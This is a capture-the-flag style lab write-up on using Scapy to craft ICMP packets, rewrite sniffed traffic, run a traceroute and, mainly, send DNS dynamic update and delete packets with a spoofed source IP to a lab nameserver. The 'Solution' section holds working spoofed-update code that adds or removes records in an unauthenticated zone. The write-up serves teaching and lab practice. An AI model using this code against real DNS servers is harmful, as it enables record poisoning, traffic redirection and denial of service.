Write-up to Scapy DNS Update Challenge

Write-up to Scapy DNS Update Challenge #

Create ICMP packet #

#!/usr/bin/env python3
from scapy.all import*
# Creating two new objects, IP and ICMP.
# IP - is an object of an IP header, setting it's src and dst IP's.
# ICMP - is an object of an ICMP header, setting it's type to 8 (request).
a=IP(src="1.2.3.4", dst="10.0.2.4") / ICMP(type=8, code=0)
send(a)

This script creates an ICMP packet. In Scapy the packets are created in layers separated by the “/”.

Replace data #

#!/usr/bin/env python3
from scapy.all import*

source = SniffSource(iface=conf.iface)
wire = WiresharkSink()
def transf(pkt):
    if not pkt or IP not in pkt:
        return pkt
    pkt[IP].src = "1.1.1.1"
    pkt[IP].dst = "2.2.2.2"
    return pkt

source > TransformDrain(transf) > wire
p = PipeEngine(source)
p.start()
p.wait_and_stop()

The script sniffs packets and changes the sender and destination IP addresses. Afterwards it is pushed to Wireshark, where it can be analyzed further (almost in real-time). Through this function you can combine the advantages of Scapy with the advantages of Wireshark. For anonymization the removal of TCP / UDP payload may be useful:

if packet.haslayer("TCP"):
    packet["IP"]["TCP"].remove_payload()
elif packet.haslayer("UDP"):
    packet["IP"]["UDP"].remove_payload()

Traceroute #

#!/usr/bin/env python3
from scapy.all import*
# Variable i is a counter of the number of routers.
i=1
# Sending a request with ttl i to the destination - 8.8.8.8
ans=sr1(IP(dst='8.8.8.8',ttl=i)/ICMP(),verbose=0, timeout=1)
print(i,""+ans.src)
# Loop while the packet recv isn't from our destination
while ans.src!= '8.8.8.8':
	# Incrementing the ttl time by 1.
	i+=1
	# Re-sending the ping request with incremented ttl.
	ans_temp=sr1(IP(dst='8.8.8.8',ttl=i)/ICMP(),verbose=0, timeout=1)
	# Checking for an unresponding router.
	if ans_temp is None: 
		print(i,"******")
		continue
	else:
		ans=ans_temp
		# Printing router src address.
		print(i,""+ans.src)

This script makes a traceroute. The TTL of the echo request is reduced by 1 by each router. If the TTL falls to 0, an ICMP response of type 11 is sent back. Therefore, one learns from the sender IP where the packet was when the TTL was 0. To trace the complete path you use the trick the first router has TTL 1, the second router TTL 2. The destination then has the sender IP == destination IP, which is also the abort criterion in the script above. Important to is to know that not all routers answer to ICMP echo requests, and therefore it can come to missing information.

DNS Update #

Task DNS Update #

The DNS zone is to be manipulated with manipulated DNS update and DNS delete packets. For this a Script is to be provided in the Scapy.

A local DNS server is used that the local systems can be addressed with a name instead of IP addresses. For this there are different implementations. For example the client can announce itself at the DNS server and be registered. Dyndns offers such a service. One (for example the DHCP server) can also register its clients with DNS packets containing a name/IP address combination. This is specified in rfc2136. There are also security mechanisms mentioned in rfc2136.

Implementation of the DNS server #

To test the implementation, I created a Docker container, shared it in the teams and this was then later also deposited in the hacking lab.

The DNS message contains OPCODES, which are loosely translated as Operation Code and define which Operation to be executed (status, query, etc.). rfc1035

The rfc2136 extends the OPCODE by the number 5, for DNS updates. Essentially, the fields are taken over, but have different meanings (see for example, 2.2 - Message Header in rfc2136).

The standard rfc2136 refers to another standard rfc2137 called “Secure Domain Name System Dynamic Update” and also recommends implementing this or another security measure. The standard rfc3007 updates the standard rfc2137. In essence, it defines rfc3007 defines a public/private key protocol where the updater signs its update and sends it to the DNS server. The DNS server can then verify the signature and execute the update if successful. However, this standard was/is not used by the vulnerable resource or the DNS server in the hacking lab.

Implementation of IP spoofing for DNS updates #

For this task Scapy will be used and it already provides the functions dyndns_del(...){.python} and dyndns_add(...){.python}.

High level delete function #

The dyndns_del(...){.python} function is defined as follows in the Code on row 962 - 979:

def dyndns_del(nameserver, name, type="ALL", ttl=10):
"""Send a DNS delete message to a nameserver for "name"
dyndns_del(nameserver, name, type="ANY", ttl=10) -> result code (0=ok)
example: dyndns_del("ns1.toto.com", "dyn.toto.com")
RFC2136
"""
zone = name[name.find(".") + 1:]
r = sr1(IP(dst=nameserver) / UDP() / DNS(opcode=5,
                                        qd=[DNSQR(qname=zone, qtype="SOA")],#noqa: E501
                                        ns=[DNSRR(rrname=name, type=type,
                                                rclass="ANY", ttl=0, rdata="")]),#noqa: E501
        verbose=0, timeout=5)
if r and r.haslayer(DNS):
    return r.getlayer(DNS).rcode
else:
    return -1

High Level Add Function #

The dyndns_add(...){.python} function is defined as follows in the Code on row 943 - L959:

def dyndns_add(nameserver, name, rdata, type="A", ttl=10):
    """Send a DNS add message to a nameserver for "name" to have a new "rdata"
dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok)
example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1")
RFC2136
"""
zone = name[name.find(".") + 1:]
r = sr1(IP(dst=nameserver) / UDP() / DNS(opcode=5,
                                        qd=[DNSQR(qname=zone, qtype="SOA")],#noqa: E501
                                        ns=[DNSRR(rrname=name, type="A",
                                                ttl=ttl, rdata=rdata)]),
        verbose=0, timeout=5)
if r and r.haslayer(DNS):
    return r.getlayer(DNS).rcode
else:
    return -1

Solution #

The most important part that we want to reuse is the line with the declaration of r. There you can see that the IP destination is set to the nameserver and the opcode is 5. After that the fields are rather misused, but this leads to the correct byte sequence. In the standard rfc2136 it is mentioned that the fields are identical but used differently.

A question to be answered is why we cannot use dyndns_del. The answer is, that we want to spoof the IP source address and this cannot be passed as a parameter in the function. The same is true for dyndns_add.

So in a nutshell our delete is:

nameserver="192.168.200.113"
zone="evil.zz."
name="hacker10.evil.zz"
spoofedSrc="192.168.200.222"
type=255

r = sr1(IP(dst=nameserver,src=spoofedSrc) / 
        UDP(sport=5353) / 
        DNS(opcode=5, qd=[DNSQR(qname=zone, qtype="SOA")],  
            ns=[DNSRR(rrname=name, type=type, rclass="ANY", ttl=0, rdata="")]),  
        verbose=0, timeout=5)

So, in a nutshell, our add is:

nameserver="192.168.200.113"
zone="evil.zz."
name="hacker10.evil.zz"
spoofedSrc="192.168.200.222"
type="A"
rdata="127.0.0.1"
ttl=3600

r = sr1(IP(dst=nameserver,src=spoofedSrc) / UDP(sport=5353) / 
        DNS(opcode=5,
            qd=[DNSQR(qname=zone, qtype="SOA")],
            ns=[DNSRR(rrname=name, type=type, ttl=ttl, rdata=rdata)]),
        verbose=0, timeout=5)

Testing with Linux board tools #

nsupdate
update delete oldhost.example.com A

update add newhost.example.com 86400 A 172.16.1.1
Calendar September 21, 2021